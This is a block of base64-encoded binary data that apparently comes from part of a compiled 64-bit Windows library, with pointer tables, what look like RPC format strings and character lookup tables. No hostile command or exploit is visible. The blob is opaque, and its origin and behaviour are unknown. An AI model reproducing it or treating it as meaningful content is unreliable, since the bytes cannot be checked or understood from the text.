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cAAQIDAAEAAGaDHQxQT3INZYoIQiaLdgNuZXkbTgpXVxcVXGULFAYRAjSMcBwfEGiBiDEOYn9xSFMFfGUbaRprd4mCVDUYZzkHQGViYgR4GXVGe2UbPIAPbx5+ZQlqfQAAAQIBAQECAQIAAAAHBgAAb25vZmZhbHNleWVzdHJ1ZXh0cmFmdWxsAAAAAAAAAAAAAQMIEiE1TmeAsuQBAQABAAAAAAAAAACJA38DbQNtA20DqQOpA6kDqQOpA6kDbAOpA6kDEAMrAysDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA/kCqQOpA6kDqQMxA6kDqQOpA6kDqQOpAzkDOAMeAzYDLwMzAzIDbgNvA2gDaQNnA2sDqQNQA18DTwNZA14DZQNdA1oDUgNRA5EDkANTA6kDqQOpA1QDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA38DyQLPAlUDiQN/A38DfwNWAxQDCwNiA2EDYAOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpAxADqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOLAxADEgMKA7sCNQMgAyADIAMRAwoD4AKfAysDKwPdAisDagOpA/wCPgP8AjUDAgMXAwIDNQMXA8cCFwPHAnMDcwMkAx8DJAMfAxcDMAMlAy4DLAM1A3MD+gL6AvoC7wJ3A3cDcwP6AuAC+gLvAvoC+gKpA8wC8gKOA44DigOKA4oDigOaA+IC4gKaA6kDlQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQNEA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDgQOpA6kDqQOAA6kDqQOpA6MDqQOpA6kDqQOpA6kDLQOpAyYDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOnA6kDqQNGA6kDRQNJA6kDwQKpAwAAAMqaOwDKmjvQBwAA6AMAAPQBAACoYQAAfwAAAAoAAABQwwAA5wMAAOgDAAAAAAAAMy4xMy4wAACSAZMDlACUAZQBlAGTApMCkwKTApMDkwWYBpoBnACcA5sAmQWZAqAAoAKiAqQApASkBqUCqQKpAqkEqQ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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgIDBQMEBQQAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9AYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpbXF1eX2BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ent8fX5/gIGCg4SFhoeIiYqLjI2Oj5CRkpOUlZaXmJmam5ydnp+goaKjpKWmp6ipqqusra6vsLGys7S1tre4ubq7vL2+v8DBwsPExcbHyMnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx8vP09fb3+Pn6+/z9/v8AAAIAAwAFAAYABwAIAAkAAQIFCg8UGRkZMjJkNzQAANnVBfkgoWPXAAA3NBwZGxowMTIzNDU2Nzg5QUJDREVGAAcEBgQoCgUgDgUwEwQ4FwUBHAUDAAAAzO0JgAEAAAABAAAAAAAAANDtCYABAAAAAQAAAAAAAAAAupwNMbUAAOIAAwBfAIoAigCmAAwBMwA0ACoAZwJnAnMC9wBrAmsCMQAxADIAMgAyADIAlwIwADAAMAAwAC8ALwAuAC4ALgAtAPUAtQK1AuIALgAuAC4ALQD1ALsAMwA0ACoAZwJnAnMCKAFrAmsCMQAxADIAMgAyADIALQEwADAAMAAwAC8ALwAuAC4ALgAtAPUALwAvAC4ALgAuAC0A9QA5ArYCTwBfAOIAnAO1ArUCAwI6AhcAMwA0ACoAZwJnAnMC9QBrAmsCMQAxADIAMgAyADIASgIwADAAMAAwAC8ALwAuAC4ALgAtAPUAjgA4AgsBIgEfAR4BLAApAOIAGAIZAsgA+QDVAB0BMwA0ACoAZwJnAnMCOwBrAmsCMQAxADIAMgAyADIAGAAwADAAMAAwAC8ALwAuAC4ALgAtAPUA4gANArEC7AEsACkAAwEzADQAKgBnAmcCcwLkAWsCawIxADEAMgAyADIAMgCBAjAAMAAwADAALwAvAC4ALgAuAC0A9QDiAKEABAHlAbAC8wG0ADMANAAqAGcCZwJzAggCawJrAjEAMQAyADIAMgAyAHIDMAAwADAAMAAvAC8ALgAuAC4ALQD1AOIAOwCqA3EAlgIBAAABMwA0ACoAZwJnAnMCsABrAmsCMQAxADIAMgAyADIA5wEwADAAMAAwAC8ALwAuAC4ALgAtAPUA4gBoAmgCdAIjAacCqAIzADQAKgBnAmcCcwI5AmsCawIxADEAMgAyADIAMgA6AjAAMAAwADAALwAvAC4ALgAuAC0A9QDiAAsCsQJSAu4ApwKoAjMANAAqAGcCZwJzApMAawJrAjEAMQAyADIAMgAyAC0BMAAwADAAMAAvAC8ALgAuAC4ALQD1ADcCHALMAc0BzgHmAbsA4gC2AksAnwBsAiwAKQAzADQAKgBnAmcCcwIfAGsCawIxADEAMgAyADIAMgAsATAAMAAwADAALwAvAC4ALgAuAC0A9QDiACkBDQEVASwAKQBRAjMAKAAqAGcCZwJzAiIAawJrAjEAMQAyADIAMgAyAOQAMAAwADAAMAAvAC8ALgAuAC4ALQD1AOIAtAD0AJIAkQCQAAcBKgI0ACoAZwJnAnMCfwBrAmsCMQAxADIAMgAyADIApgIwADAAMAAwAC8ALwAuAC4ALgAtAPUA4gDvAOUAzAC0AJID3gHjAKIAKgBnAmcCcwJNAmsCawIxADEAMgAyADIAMgC0AjAAMAAwADAALwAvAC4ALgAuAC0A9QAnAKkCNQCmAuoArQKvAPwAsQDuAScAowA1AKYADAEeAIoANQCAABABlwB7ANQAJgHPACUBlAAkACUAHQL6AKICogLLACYA9gD2ACQAJQC2Ag4AKgIkACUAJgD2APYAtQKkACYA9gD2ADIAMgAyADIAKwAwADAAMAAwAC8ALwAuAC4ALgAtAPUAMAAwADAAMAAvAC8ALgAuAC4ALQD1ADYAowKkAl4C/gAvAS4BLQD1AFMCdgAUArICXgLvAS8BLgG1Al4CUwIvAS4BDwGgAFMCfQB8ALUA3ADbANoAmgDYAOgB6AHWAbcAWAJYAlgCWgILAKICogLtAOwAtABYAlgCWAJaAgsAWAJYAlgCWgILAC0BtAAyADIAMgAyAO8BMAAwADAAMAAvAC8ALgAuAC4ALQD1ADkAjAK2AksAUQJeAk8CWQJeAokAWQJTAokCOgBTAnQAowKkAo4AMgHJASIBHwEeARACrgAtAW4AogKiApUCAQAdAeIBEwLMACkBEQFfAFgCWAJYAlgCWAJYAo0CtgJLAB4CogKiAqICogItAaICogIaARsAuAK4AmkAuQCOAuYADgItAZMADQDpAC0B8QAtARIBtgIPAC0BDwKjAqQCswApASoB4gH6AQgBtgJLAOcAggC2AksAtgIPANsBLQG2Ag8AJAGjAqQCowKkArwA